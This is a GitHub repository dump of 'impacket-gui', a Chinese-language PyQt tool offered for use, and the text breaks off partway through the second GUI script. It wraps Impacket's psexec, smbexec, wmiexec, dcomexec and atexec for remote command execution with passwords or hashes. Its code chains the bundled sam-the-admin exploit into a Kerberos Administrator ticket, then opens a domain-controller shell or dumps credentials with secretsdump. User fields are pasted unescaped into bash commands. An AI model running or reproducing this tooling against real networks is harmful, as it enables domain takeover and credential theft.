├── README.md ├── img ├── 1.gif ├── 2.png ├── 3.png ├── image-20230902152503535.png ├── image-20230902152527202.png ├── image-20230902153752181.png ├── image-20230902153857001.png └── image-20230902155242312.png ├── impacket-gui-en.py ├── impacket-gui.py ├── impacket-gui_PyQt6.py ├── logo.jpg ├── requirements.txt ├── requirements_PyQt6.txt └── sam-the-admin ├── .gitignore ├── README.md ├── requirements.txt ├── sam_the_admin.py └── utils ├── S4U2self.py ├── __init__.py ├── addcomputer.py └── helper.py /README.md: -------------------------------------------------------------------------------- 1 | # impacket-gui 2 | impacket-gui 3 | 4 | 目前仅在 linux 下做过测试,有 bug 提issue 5 | 6 | 对目标是中文操作系统,请选择 gbk 编码 7 | 8 | # 功能列表 9 | 10 | - psexec 密码与哈希单次命令执行 11 | - smbexec 密码与哈希单次命令执行 12 | - dcomexec 密码与哈希单次命令执行 13 | - wimexec 密码与哈希单次命令执行 14 | - psexec 交互式执行 15 | - smbexec 交互式执行 16 | - dcomexec 交互式执行 17 | - sam-the-admin shell 方式 18 | - sam-the-admin dump 方式 19 | 20 | 21 | 22 | # 使用方式 23 | kalin-linux 不需要额外下载 impacket 24 | 1.下载本项目 25 | ``` 26 | git https://github.com/yutianqaq/impacket-gui.git 27 | ``` 28 | 29 | 2.安装 Pyqt 等依赖 30 | ``` 31 | cd impacket-gui 32 | pip install -r requirements.txt 33 | ``` 34 | 35 | 3.运行 36 | PSEXEC 密码与哈希演示 gif 37 | ![](./img/1.gif) 38 | PSEXEC 密码 39 | ![](./img/2.png) 40 | PSEXEC 哈希 41 | ![](./img/3.png) 42 | 43 | # 功能列表 44 | ## psexec、smbexec、dcomexec、wmiexec、atexec 的单次命令执行 45 | 46 | ![image-20230902153752181](img/image-20230902153752181.png) 47 | 48 | ## psexec、smbexec、wmiexec 的交互式命令执行 49 | 50 | ![image-20230902152503535](img/image-20230902152503535.png) 51 | 52 | ![image-20230902152527202](img/image-20230902152527202.png) 53 | 54 | ## 一个获取域控的利用模块 55 | 56 | 来源于 https://github.com/WazeHell/sam-the-admin 57 | 58 | 需要填写域控 IP 一个域内账号,对于中文操作系统加了 gbk 解码 59 | 60 | ### 获取交互式shell 61 | 62 | ![image-20230902155242312](img/image-20230902155242312.png) 63 | 64 | ### 获取哈希 65 | 66 | ![image-20230902153857001](img/image-20230902153857001.png) 67 | 68 | # 更新 69 | 70 | 2023年9月2日: 71 | 72 | - 增加 ui 界面 73 | - 增加兼容性以显示中文 74 | 75 | - 增加smbexec、dcomexec 的单次命令执行 76 | 77 | - 增加 psexec、smbexec、wmiexec 交互式 shell 78 | - 增加一个获取域控的利用方式 79 | -------------------------------------------------------------------------------- /img/1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/1.gif -------------------------------------------------------------------------------- /img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/2.png -------------------------------------------------------------------------------- /img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/3.png -------------------------------------------------------------------------------- /img/image-20230902152503535.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/image-20230902152503535.png -------------------------------------------------------------------------------- /img/image-20230902152527202.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/image-20230902152527202.png -------------------------------------------------------------------------------- /img/image-20230902153752181.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/image-20230902153752181.png -------------------------------------------------------------------------------- /img/image-20230902153857001.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/image-20230902153857001.png -------------------------------------------------------------------------------- /img/image-20230902155242312.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/img/image-20230902155242312.png -------------------------------------------------------------------------------- /impacket-gui-en.py: -------------------------------------------------------------------------------- 1 | 2 | import sys 3 | from PyQt5.QtWidgets import QApplication, QLabel, QComboBox, QLineEdit, QPushButton, QDialog, QMessageBox, QTextEdit, QVBoxLayout, QWidget, QVBoxLayout, QTabWidget, QTextEdit, QPushButton, QHBoxLayout, QPlainTextEdit 4 | from PyQt5.QtCore import QCoreApplication, Qt, QThread, pyqtSignal, QProcess, QTimer, QUrl 5 | from PyQt5.QtGui import QIcon, QFont, QDesktopServices, QTextCursor 6 | 7 | class InteractiveSession(QWidget): 8 | def __init__(self, ip, username, password, mode, codec): 9 | super().__init__() 10 | self.ip = ip 11 | self.username = username 12 | self.password = password 13 | self.mode = mode 14 | self.codec = codec 15 | self.session = None 16 | self.output_text = None 17 | self.init_ui() 18 | self.connect_and_execute() 19 | 20 | def init_ui(self): 21 | self.output_text = QPlainTextEdit() 22 | self.output_text.setReadOnly(True) 23 | self.output_text.setLineWrapMode(QPlainTextEdit.NoWrap) 24 | output_style = "background-color: #0C0C0C; color: #CCCCCC;" 25 | self.output_text.setStyleSheet(output_style) 26 | 27 | self.input_text = QLineEdit() 28 | self.input_text.setMaximumHeight(30) 29 | self.input_text.setPlaceholderText("Type your command and press Enter") 30 | 31 | layout = QVBoxLayout() 32 | layout.addWidget(self.output_text) 33 | layout.addWidget(self.input_text) 34 | 35 | self.setLayout(layout) 36 | 37 | def keyPressEvent(self, event): 38 | if event.key() == Qt.Key_Return or event.key() == Qt.Key_Enter: 39 | self.execute_command() 40 | 41 | 42 | def connect_and_execute(self): 43 | cmd = f"/usr/local/bin/{self.mode.lower()}.py {self.username}:{self.password}@{self.ip} -codec {self.codec}" 44 | 45 | if self.mode == "SamTheAdmin-shell": 46 | cmd = f"/bin/bash -c \"python ./sam-the-admin/sam_the_admin.py {self.username}:{self.password} -dc-ip {self.ip} -shell &&export KRB5CCNAME=Administrator.ccache && /usr/local/bin/smbexec.py -target-ip {self.ip} -k -no-pass `cat ./dcfull` -codec {self.codec}\"" 47 | elif self.mode == "SamTheAdmin-dump": 48 | cmd = f"/bin/bash -c \"python ./sam-the-admin/sam_the_admin.py {self.username}:{self.password} -dc-ip {self.ip} -shell &&export KRB5CCNAME=Administrator.ccache && /usr/local/bin/secretsdump.py -target-ip {self.ip} -k -no-pass `cat ./dcfull`\"" 49 | 50 | self.session = QProcess() 51 | self.session.setProcessChannelMode(QProcess.MergedChannels) 52 | self.session.readyReadStandardOutput.connect(self.update_terminal) 53 | self.session.start(cmd) 54 | self.session.waitForStarted() 55 | 56 | def execute_command(self): 57 | command = self.input_text.text() 58 | if command: 59 | self.input_text.clear() 60 | self.session.write(f"{command}\n".encode()) 61 | self.session.waitForBytesWritten() 62 | 63 | def update_terminal(self): 64 | output_data = self.session.readAllStandardOutput().data() 65 | print(output_data) 66 | output_data = self.decode_output(output_data) 67 | self.output_text.appendPlainText(output_data) 68 | 69 | 70 | def decode_output(self, output_data): 71 | encodings = ['utf-8', 'gb2312'] 72 | 73 | for encoding in encodings: 74 | try: 75 | output = output_data.decode(encoding).strip() 76 | return output 77 | except UnicodeDecodeError: 78 | pass 79 | 80 | return '' 81 | 82 | class ImpacketTerminal(QWidget): 83 | def __init__(self): 84 | super().__init__() 85 | self.init_ui() 86 | 87 | def init_ui(self): 88 | self.tab_widget = QTabWidget() 89 | add_session_button = QTextEdit("Add Impacket Session") 90 | add_session_button.setReadOnly(True) 91 | add_session_button.setAlignment(Qt.AlignCenter) 92 | add_session_button.setFixedHeight(50) 93 | add_session_button.setStyleSheet("font-size: 18px;") 94 | add_session_button.viewport().setAutoFillBackground(False) 95 | 96 | # 添加连接模式下拉框 97 | self.mode_combobox = QComboBox() 98 | self.mode_combobox.addItems(["PSEXEC", "SMBEXEC", "WMIEXEC"]) 99 | self.mode_combobox.setCurrentIndex(0) 100 | 101 | 102 | self.codec_combobox = QComboBox() 103 | self.codec_combobox.addItems(["utf-8", "gbk"]) 104 | self.codec_combobox.setCurrentIndex(0) 105 | 106 | # 添加IP、用户名、密码输入框 107 | self.ip_input = QLineEdit() 108 | self.ip_input.setPlaceholderText("Enter IP Address") 109 | 110 | self.username_input = QLineEdit() 111 | self.username_input.setPlaceholderText("Enter Username") 112 | 113 | self.password_input = QLineEdit() 114 | self.password_input.setPlaceholderText("Enter Password") 115 | self.password_input.setEchoMode(QLineEdit.Password) 116 | 117 | 118 | 119 | # 添加关闭当前会话按钮 120 | close_session_button = QPushButton("Close Current Session") 121 | close_session_button.clicked.connect(self.close_current_session) 122 | 123 | layout = QVBoxLayout() 124 | layout.addWidget(self.mode_combobox) 125 | layout.addWidget(self.codec_combobox) 126 | layout.addWidget(self.ip_input) 127 | layout.addWidget(self.username_input) 128 | layout.addWidget(self.password_input) 129 | layout.addWidget(add_session_button) 130 | layout.addWidget(self.tab_widget) 131 | layout.addWidget(close_session_button) # 添加关闭按钮 132 | 133 | self.setLayout(layout) 134 | 135 | add_session_button.mousePressEvent = self.add_session_tab 136 | 137 | # 用于保存输入框的文本 138 | self.saved_ip_text = "" 139 | self.saved_username_text = "" 140 | self.saved_password_text = "" 141 | 142 | def add_session_tab(self, event): 143 | ip = self.ip_input.text() 144 | username = self.username_input.text() 145 | password = self.password_input.text() 146 | 147 | # 获取用户选择的连接模式 148 | selected_mode = self.mode_combobox.currentText() 149 | selected_codec = self.codec_combobox.currentText() 150 | 151 | if ip and username and password: 152 | self.saved_ip_text = ip 153 | self.saved_username_text = username 154 | self.saved_password_text = password 155 | 156 | session = InteractiveSession(ip, username, password, selected_mode, selected_codec) 157 | self.tab_widget.addTab(session, f"{username}@{ip} {selected_mode}-{self.tab_widget.count() + 1}") 158 | # self.ip_input.clear() 159 | # self.username_input.clear() 160 | # self.password_input.clear() 161 | 162 | else: 163 | # 在没有输入完整信息时显示错误消息 164 | QMessageBox.warning(self, "Error", "Please enter IP, Username, and Password.") 165 | 166 | def close_current_session(self): 167 | current_index = self.tab_widget.currentIndex() 168 | if current_index >= 0: 169 | session_widget = self.tab_widget.widget(current_index) 170 | if isinstance(session_widget, InteractiveSession): 171 | session_widget.session.terminate() 172 | self.tab_widget.removeTab(current_index) 173 | 174 | class SamTheAdmin(QWidget): 175 | def __init__(self): 176 | super().__init__() 177 | self.init_ui() 178 | 179 | def init_ui(self): 180 | self.tab_widget = QTabWidget() 181 | add_session_button = QTextEdit("Add Impacket Session") 182 | add_session_button.setReadOnly(True) 183 | add_session_button.setAlignment(Qt.AlignCenter) 184 | add_session_button.setFixedHeight(50) 185 | add_session_button.setStyleSheet("font-size: 18px;") 186 | add_session_button.viewport().setAutoFillBackground(False) 187 | 188 | # 添加连接模式下拉框 189 | self.mode_combobox = QComboBox() 190 | self.mode_combobox.addItems(["SamTheAdmin-shell", "SamTheAdmin-dump"]) 191 | self.mode_combobox.setCurrentIndex(0) # 设置默认连接模式 192 | 193 | self.codec_combobox = QComboBox() 194 | self.codec_combobox.addItems(["utf-8", "gbk"]) 195 | self.codec_combobox.setCurrentIndex(0) 196 | 197 | # 添加IP、用户名、密码输入框 198 | self.ip_input = QLineEdit() 199 | self.ip_input.setPlaceholderText("Enter IP Address") 200 | 201 | self.username_input = QLineEdit() 202 | self.username_input.setPlaceholderText("Enter Username") 203 | 204 | self.password_input = QLineEdit() 205 | self.password_input.setPlaceholderText("Enter Password") 206 | self.password_input.setEchoMode(QLineEdit.Password) 207 | 208 | 209 | 210 | # 添加关闭当前会话按钮 211 | close_session_button = QPushButton("Close Current Session") 212 | close_session_button.clicked.connect(self.close_current_session) 213 | 214 | layout = QVBoxLayout() 215 | layout.addWidget(self.mode_combobox) 216 | layout.addWidget(self.codec_combobox) 217 | layout.addWidget(self.ip_input) 218 | layout.addWidget(self.username_input) 219 | layout.addWidget(self.password_input) 220 | layout.addWidget(add_session_button) 221 | layout.addWidget(self.tab_widget) 222 | layout.addWidget(close_session_button) # 添加关闭按钮 223 | 224 | self.setLayout(layout) 225 | 226 | add_session_button.mousePressEvent = self.add_session_tab 227 | 228 | # 用于保存输入框的文本 229 | self.saved_ip_text = "" 230 | self.saved_username_text = "" 231 | self.saved_password_text = "" 232 | 233 | def add_session_tab(self, event): 234 | ip = self.ip_input.text() 235 | username = self.username_input.text() 236 | password = self.password_input.text() 237 | 238 | # 获取用户选择的连接模式 239 | selected_mode = self.mode_combobox.currentText() 240 | codec_mode = self.codec_combobox.currentText() 241 | 242 | if ip and username and password: 243 | self.saved_ip_text = ip 244 | self.saved_username_text = username 245 | self.saved_password_text = password 246 | 247 | session = InteractiveSession(ip, username, password, selected_mode, codec_mode) 248 | self.tab_widget.addTab(session, f"{username}@{ip} {selected_mode}-{self.tab_widget.count() + 1}") 249 | # self.ip_input.clear() 250 | # self.username_input.clear() 251 | # self.password_input.clear() 252 | 253 | else: 254 | # 在没有输入完整信息时显示错误消息 255 | QMessageBox.warning(self, "Error", "Please enter IP, Username, and Password.") 256 | 257 | def close_current_session(self): 258 | current_index = self.tab_widget.currentIndex() 259 | if current_index >= 0: 260 | session_widget = self.tab_widget.widget(current_index) 261 | if isinstance(session_widget, InteractiveSession): 262 | session_widget.session.terminate() 263 | self.tab_widget.removeTab(current_index) 264 | 265 | class CommandExecutor(QThread): 266 | command_output = pyqtSignal(str) 267 | 268 | def __init__(self, command): 269 | super().__init__() 270 | self.command = command 271 | 272 | def run(self): 273 | process = QProcess() 274 | self.command_output.emit(f"impacket-GUI > {self.command}") 275 | process.readyReadStandardOutput.connect(self.handle_output) 276 | process.finished.connect(self.finished) 277 | 278 | process.start(self.command) 279 | process.waitForFinished(-1) 280 | 281 | output_data = process.readAllStandardOutput().data() 282 | output = self.decode_output(output_data) 283 | self.command_output.emit(output) 284 | 285 | def handle_output(self): 286 | output_data = self.sender().readAllStandardOutput().data() 287 | output = self.decode_output(output_data) 288 | self.command_output.emit(output) 289 | 290 | def decode_output(self, output_data): 291 | encodings = ['utf-8', 'gb2312'] 292 | 293 | for encoding in encodings: 294 | try: 295 | output = output_data.decode(encoding).strip() 296 | return output 297 | except UnicodeDecodeError: 298 | pass 299 | 300 | return '' 301 | 302 | class ImpacketExecutor(QWidget): 303 | def __init__(self): 304 | super().__init__() 305 | self.setWindowTitle("Impacket-GUI") 306 | self.setFont(QFont('Microsoft YaHei', 12)) 307 | self.init_ui() 308 | 309 | def init_ui(self): 310 | self.tab_widget = QTabWidget() 311 | 312 | tabs = ["PSEXEC", "SMBEXEC", "DCOMEXEC", "WMIEXEC", "ATEXEC"] 313 | self.executor_threads = [] 314 | 315 | for tab_name in tabs: 316 | tab = QWidget() 317 | self.init_tab(tab, tab_name) 318 | self.tab_widget.addTab(tab, tab_name) 319 | 320 | layout = QVBoxLayout() 321 | layout.addWidget(self.tab_widget) 322 | 323 | 324 | 325 | about_button = QPushButton("About") 326 | about_button.clicked.connect(self.open_about_url) 327 | layout.addWidget(about_button) 328 | 329 | self.setLayout(layout) 330 | 331 | def init_tab(self, tab, tab_name): 332 | ip_label = QLabel("IP:") 333 | ip_entry = QLineEdit() 334 | username_label = QLabel("Username:") 335 | username_entry = QLineEdit() 336 | password_label = QLabel("Password:") 337 | password_entry = QLineEdit() 338 | password_entry.setEchoMode(QLineEdit.Password) 339 | hashes_label = QLabel("Hashes:") 340 | hashes_entry = QLineEdit() 341 | command_label = QLabel(f"Command for {tab_name}:") 342 | command_entry = QLineEdit() 343 | result_text = QTextEdit() 344 | 345 | codec_combobox = QComboBox() 346 | codec_combobox.addItems(["utf-8", "gbk"]) 347 | codec_combobox.setCurrentIndex(0) 348 | 349 | result_text.setReadOnly(True) 350 | 351 | execute_button = QPushButton("Execute") 352 | execute_button.clicked.connect(lambda: self.execute_command(tab_name, ip_entry.text(), username_entry.text(), password_entry.text(), hashes_entry.text(), command_entry.text(), result_text, codec_combobox.currentText())) 353 | 354 | tab_layout = QVBoxLayout() 355 | tab_layout.addWidget(codec_combobox) 356 | tab_layout.addWidget(ip_label) 357 | tab_layout.addWidget(ip_entry) 358 | tab_layout.addWidget(username_label) 359 | tab_layout.addWidget(username_entry) 360 | tab_layout.addWidget(password_label) 361 | tab_layout.addWidget(password_entry) 362 | tab_layout.addWidget(hashes_label) 363 | tab_layout.addWidget(hashes_entry) 364 | tab_layout.addWidget(command_label) 365 | tab_layout.addWidget(command_entry) 366 | tab_layout.addWidget(execute_button) 367 | tab_layout.addWidget(result_text) 368 | 369 | tab.setLayout(tab_layout) 370 | 371 | 372 | def open_about_url(self): 373 | about_url = "https://github.com/yutianqaq/impacket-gui" 374 | QDesktopServices.openUrl(QUrl(about_url)) 375 | 376 | def execute_command(self, tab_name, ip, username, password, hashes, command, result_text, codec): 377 | 378 | cmd = f"/usr/local/bin/{tab_name.lower()}.py {username}:{password}@{ip} {command} -codec {codec}" 379 | if hashes: 380 | cmd = f"/usr/local/bin/{tab_name.lower()}.py {username}@{ip} {command} -hashes 00000000000000000000000000000000:{hashes} -codec {codec}" 381 | 382 | executor = CommandExecutor(cmd) 383 | executor.command_output.connect(result_text.append) 384 | executor.finished.connect(executor.deleteLater) 385 | 386 | executor_thread = QThread() 387 | executor.moveToThread(executor_thread) 388 | executor_thread.started.connect(executor.run) 389 | executor_thread.finished.connect(executor_thread.deleteLater) 390 | 391 | self.executor_threads.append(executor_thread) 392 | executor_thread.start() 393 | 394 | while executor_thread.isRunning(): 395 | QCoreApplication.processEvents() 396 | 397 | def closeEvent(self, event): 398 | for executor_thread in self.executor_threads: 399 | executor_thread.quit() 400 | executor_thread.wait() 401 | 402 | event.accept() 403 | if __name__ == '__main__': 404 | app = QApplication(sys.argv) 405 | tab_widget = QTabWidget() 406 | 407 | impacket_executor = ImpacketExecutor() 408 | impacket_terminal_tab = ImpacketTerminal() 409 | sam_the_admin_tab = SamTheAdmin() 410 | 411 | tab_widget.addTab(impacket_executor, "Impacket GUI") 412 | tab_widget.addTab(impacket_terminal_tab, "Impacket Terminal") 413 | tab_widget.addTab(sam_the_admin_tab, "sam-the-admin") 414 | 415 | window = QWidget() 416 | window.setWindowTitle("Impacket App") 417 | window.resize(1200, 800) 418 | window.setWindowIcon(QIcon("./logo.jpg")) 419 | 420 | layout = QVBoxLayout() 421 | layout.addWidget(tab_widget) 422 | window.setLayout(layout) 423 | 424 | window.show() 425 | sys.exit(app.exec_()) 426 | -------------------------------------------------------------------------------- /impacket-gui.py: -------------------------------------------------------------------------------- 1 | 2 | import sys 3 | from PyQt5.QtWidgets import QApplication, QLabel, QComboBox, QLineEdit, QPushButton, QDialog, QMessageBox, QTextEdit, QVBoxLayout, QWidget, QVBoxLayout, QTabWidget, QTextEdit, QPushButton, QHBoxLayout, QPlainTextEdit 4 | from PyQt5.QtCore import QCoreApplication, Qt, QThread, pyqtSignal, QProcess, QTimer, QUrl 5 | from PyQt5.QtGui import QIcon, QFont, QDesktopServices, QTextCursor 6 | 7 | class InteractiveSession(QWidget): 8 | def __init__(self, ip, username, password, mode, codec): 9 | super().__init__() 10 | self.ip = ip 11 | self.username = username 12 | self.password = password 13 | self.mode = mode 14 | self.codec = codec 15 | self.session = None 16 | self.output_text = None 17 | self.init_ui() 18 | self.connect_and_execute() 19 | 20 | def init_ui(self): 21 | self.output_text = QPlainTextEdit() 22 | self.output_text.setReadOnly(True) 23 | self.output_text.setLineWrapMode(QPlainTextEdit.NoWrap) 24 | output_style = "background-color: #0C0C0C; color: #CCCCCC;" 25 | self.output_text.setStyleSheet(output_style) 26 | 27 | self.input_text = QLineEdit() 28 | self.input_text.setMaximumHeight(30) 29 | self.input_text.setPlaceholderText("在此处输入命令") 30 | 31 | layout = QVBoxLayout() 32 | layout.addWidget(self.output_text) 33 | layout.addWidget(self.input_text) 34 | 35 | self.setLayout(layout) 36 | 37 | def keyPressEvent(self, event): 38 | if event.key() == Qt.Key_Return or event.key() == Qt.Key_Enter: 39 | self.execute_command() 40 | 41 | 42 | def connect_and_execute(self): 43 | cmd = f"/usr/local/bin/{self.mode.lower()}.py {self.username}:{self.password}@{self.ip} -codec {self.codec}" 44 | 45 | if self.mode == "SamTheAdmin-shell": 46 | cmd = f"/bin/bash -c \"python ./sam-the-admin/sam_the_admin.py {self.username}:{self.password} -dc-ip {self.ip} -shell &&export KRB5CCNAME=Administrator.ccache && /usr/local/bin/smbexec.py -target-ip {self.ip} -k -no-pass `cat ./dcfull` -codec {self.codec}\"" 47 | elif self.mode == "SamTheAdmin-dump": 48 | cmd = f"/bin/bash -c \"python ./sam-the-admin/sam_the_admin.py {self.username}:{self.password} -dc-ip {self.ip} -shell &&export KRB5CCNAME=Administrator.ccache && /usr/local/bin/secretsdump.py -target-ip {self.ip} -k -no-pass `cat ./dcfull`\"" 49 | 50 | self.session = QProcess() 51 | self.session.setProcessChannelMode(QProcess.MergedChannels) 52 | self.session.readyReadStandardOutput.connect(self.update_terminal) 53 | self.session.start(cmd) 54 | self.session.waitForStarted() 55 | 56 | def execute_command(self): 57 | command = self.input_text.text() 58 | if command: 59 | self.input_text.clear() 60 | self.session.write(f"{command}\n".encode()) 61 | self.session.waitForBytesWritten() 62 | 63 | def update_terminal(self): 64 | output_data = self.session.readAllStandardOutput().data() 65 | print(output_data) 66 | output_data = self.decode_output(output_data) 67 | self.output_text.appendPlainText(output_data) 68 | 69 | 70 | def decode_output(self, output_data): 71 | encodings = ['utf-8', 'gb2312'] 72 | 73 | for encoding in encodings: 74 | try: 75 | output = output_data.decode(encoding).strip() 76 | return output 77 | except UnicodeDecodeError: 78 | pass 79 | 80 | return '' 81 | 82 | class ImpacketTerminal(QWidget): 83 | def __init__(self): 84 | super().__init__() 85 | self.init_ui() 86 | 87 | def init_ui(self): 88 | self.tab_widget = QTabWidget() 89 | add_session_button = QTextEdit("执行") 90 | add_session_button.setReadOnly(True) 91 | add_session_button.setAlignment(Qt.AlignCenter) 92 | add_session_button.setFixedHeight(50) 93 | add_session_button.setStyleSheet("font-size: 18px;") 94 | add_session_button.viewport().setAutoFillBackground(False) 95 | 96 | # 添加连接模式下拉框 97 | self.mode_combobox = QComboBox() 98 | self.mode_combobox.addItems(["PSEXEC", "SMBEXEC", "WMIEXEC"]) 99 | self.mode_combobox.setCurrentIndex(0) 100 | 101 | 102 | self.codec_combobox = QComboBox() 103 | self.codec_combobox.addItems(["utf-8", "gbk"]) 104 | self.codec_combobox.setCurrentIndex(0) 105 | 106 | # 添加IP、用户名、密码输入框 107 | self.ip_input = QLineEdit() 108 | self.ip_input.setPlaceholderText("请输入 IP 地址") 109 | 110 | self.username_input = QLineEdit() 111 | self.username_input.setPlaceholderText("请输入用户名:[domain/]username") 112 | 113 | self.password_input = QLineEdit() 114 | self.password_input.setPlaceholderText("请输入密码") 115 | self.password_input.setEchoMode(QLineEdit.Password) 116 | 117 | 118 | 119 | # 添加关闭当前会话按钮 120 | close_session_button = QPushButton("关闭当前会话") 121 | close_session_button.clicked.connect(self.close_current_session) 122 | 123 | layout = QVBoxLayout() 124 | layout.addWidget(self.mode_combobox) 125 | layout.addWidget(self.codec_combobox) 126 | layout.addWidget(self.ip_input) 127 | layout.addWidget(self.username_input) 128 | layout.addWidget(self.password_input) 129 | layout.addWidget(add_session_button) 130 | layout.addWidget(self.tab_widget) 131 | layout.addWidget(close_session_button) # 添加关闭按钮 132 | 133 | self.setLayout(layout) 134 | 135 | add_session_button.mousePressEvent = self.add_session_tab 136 | 137 | # 用于保存输入框的文本 138 | self.saved_ip_text = "" 139 | self.saved_username_text = "" 140 | self.saved_password_text = "" 141 | 142 | def add_session_tab(self, event): 143 | ip = self.ip_input.text() 144 | username = self.username_input.text() 145 | password = self.password_input.text() 146 | 147 | # 获取用户选择的连接模式 148 | selected_mode = self.mode_combobox.currentText() 149 | selected_codec = self.codec_combobox.currentText() 150 | 151 | if ip and username and password: 152 | self.saved_ip_text = ip 153 | self.saved_username_text = username 154 | self.saved_password_text = password 155 | 156 | session = InteractiveSession(ip, username, password, selected_mode, selected_codec) 157 | self.tab_widget.addTab(session, f"{username}@{ip} {selected_mode}-{self.tab_widget.count() + 1}") 158 | # self.ip_input.clear() 159 | # self.username_input.clear() 160 | # self.password_input.clear() 161 | 162 | else: 163 | # 在没有输入完整信息时显示错误消息 164 | QMessageBox.warning(self, "错误", "请输入完整") 165 | 166 | def close_current_session(self): 167 | current_index = self.tab_widget.currentIndex() 168 | if current_index >= 0: 169 | session_widget = self.tab_widget.widget(current_index) 170 | if isinstance(session_widget, InteractiveSession): 171 | session_widget.session.terminate() 172 | self.tab_widget.removeTab(current_index) 173 | 174 | class SamTheAdmin(QWidget): 175 | def __init__(self): 176 | super().__init__() 177 | self.init_ui() 178 | 179 | def init_ui(self): 180 | self.tab_widget = QTabWidget() 181 | add_session_button = QTextEdit("执行") 182 | add_session_button.setReadOnly(True) 183 | add_session_button.setAlignment(Qt.AlignCenter) 184 | add_session_button.setFixedHeight(50) 185 | add_session_button.setStyleSheet("font-size: 18px;") 186 | add_session_button.viewport().setAutoFillBackground(False) 187 | 188 | # 添加连接模式下拉框 189 | self.mode_combobox = QComboBox() 190 | self.mode_combobox.addItems(["SamTheAdmin-shell", "SamTheAdmin-dump"]) 191 | self.mode_combobox.setCurrentIndex(0) # 设置默认连接模式 192 | 193 | self.codec_combobox = QComboBox() 194 | self.codec_combobox.addItems(["utf-8", "gbk"]) 195 | self.codec_combobox.setCurrentIndex(0) 196 | 197 | # 添加IP、用户名、密码输入框 198 | self.ip_input = QLineEdit() 199 | self.ip_input.setPlaceholderText("请输入 IP 地址") 200 | 201 | self.username_input = QLineEdit() 202 | self.username_input.setPlaceholderText("请输入用户名:[domain/]username") 203 | 204 | self.password_input = QLineEdit() 205 | self.password_input.setPlaceholderText("请输入密码") 206 | self.password_input.setEchoMode(QLineEdit.Password) 207 | 208 | 209 | 210 | # 添加关闭当前会话按钮 211 | close_session_button = QPushButton("关闭当前会话") 212 | close_session_button.clicked.connect(self.close_current_session) 213 | 214 | layout = QVBoxLayout() 215 | layout.addWidget(self.mode_combobox) 216 | layout.addWidget(self.codec_combobox) 217 | layout.addWidget(self.ip_input) 218 | layout.addWidget(self.username_input) 219 | layout.addWidget(self.password_input) 220 | layout.addWidget(add_session_button) 221 | layout.addWidget(self.tab_widget) 222 | layout.addWidget(close_session_button) # 添加关闭按钮 223 | 224 | self.setLayout(layout) 225 | 226 | add_session_button.mousePressEvent = self.add_session_tab 227 | 228 | # 用于保存输入框的文本 229 | self.saved_ip_text = "" 230 | self.saved_username_text = "" 231 | self.saved_password_text = "" 232 | 233 | def add_session_tab(self, event): 234 | ip = self.ip_input.text() 235 | username = self.username_input.text() 236 | password = self.password_input.text() 237 | 238 | # 获取用户选择的连接模式 239 | selected_mode = self.mode_combobox.currentText() 240 | codec_mode = self.codec_combobox.currentText() 241 | 242 | if ip and username and password: 243 | self.saved_ip_text = ip 244 | self.saved_username_text = username 245 | self.saved_password_text = password 246 | 247 | session = InteractiveSession(ip, username, password, selected_mode, codec_mode) 248 | self.tab_widget.addTab(session, f"{username}@{ip} {selected_mode}-{self.tab_widget.count() + 1}") 249 | # self.ip_input.clear() 250 | # self.username_input.clear() 251 | # self.password_input.clear() 252 | 253 | else: 254 | # 在没有输入完整信息时显示错误消息 255 | QMessageBox.warning(self, "错误", "请输入完整") 256 | 257 | def close_current_session(self): 258 | current_index = self.tab_widget.currentIndex() 259 | if current_index >= 0: 260 | session_widget = self.tab_widget.widget(current_index) 261 | if isinstance(session_widget, InteractiveSession): 262 | session_widget.session.terminate() 263 | self.tab_widget.removeTab(current_index) 264 | 265 | class CommandExecutor(QThread): 266 | command_output = pyqtSignal(str) 267 | 268 | def __init__(self, command): 269 | super().__init__() 270 | self.command = command 271 | 272 | def run(self): 273 | process = QProcess() 274 | self.command_output.emit(f"impacket-GUI > {self.command}") 275 | process.readyReadStandardOutput.connect(self.handle_output) 276 | process.finished.connect(self.finished) 277 | 278 | process.start(self.command) 279 | process.waitForFinished(-1) 280 | 281 | output_data = process.readAllStandardOutput().data() 282 | output = self.decode_output(output_data) 283 | self.command_output.emit(output) 284 | 285 | def handle_output(self): 286 | output_data = self.sender().readAllStandardOutput().data() 287 | output = self.decode_output(output_data) 288 | self.command_output.emit(output) 289 | 290 | def decode_output(self, output_data): 291 | encodings = ['utf-8', 'gb2312'] 292 | 293 | for encoding in encodings: 294 | try: 295 | output = output_data.decode(encoding).strip() 296 | return output 297 | except UnicodeDecodeError: 298 | pass 299 | 300 | return '' 301 | 302 | class ImpacketExecutor(QWidget): 303 | def __init__(self): 304 | super().__init__() 305 | self.setWindowTitle("Impacket-GUI") 306 | self.setFont(QFont('Microsoft YaHei', 12)) 307 | self.init_ui() 308 | 309 | def init_ui(self): 310 | self.tab_widget = QTabWidget() 311 | 312 | tabs = ["PSEXEC", "SMBEXEC", "DCOMEXEC", "WMIEXEC", "ATEXEC"] 313 | self.executor_threads = [] 314 | 315 | for tab_name in tabs: 316 | tab = QWidget() 317 | self.init_tab(tab, tab_name) 318 | self.tab_widget.addTab(tab, tab_name) 319 | 320 | layout = QVBoxLayout() 321 | layout.addWidget(self.tab_widget) 322 | 323 | 324 | 325 | about_button = QPushButton("关于") 326 | about_button.clicked.connect(self.open_about_url) 327 | layout.addWidget(about_button) 328 | 329 | self.setLayout(layout) 330 | 331 | def init_tab(self, tab, tab_name): 332 | ip_label = QLabel("IP 地址:") 333 | ip_entry = QLineEdit() 334 | username_label = QLabel("用户名:") 335 | username_entry = QLineEdit() 336 | password_label = QLabel("密码:") 337 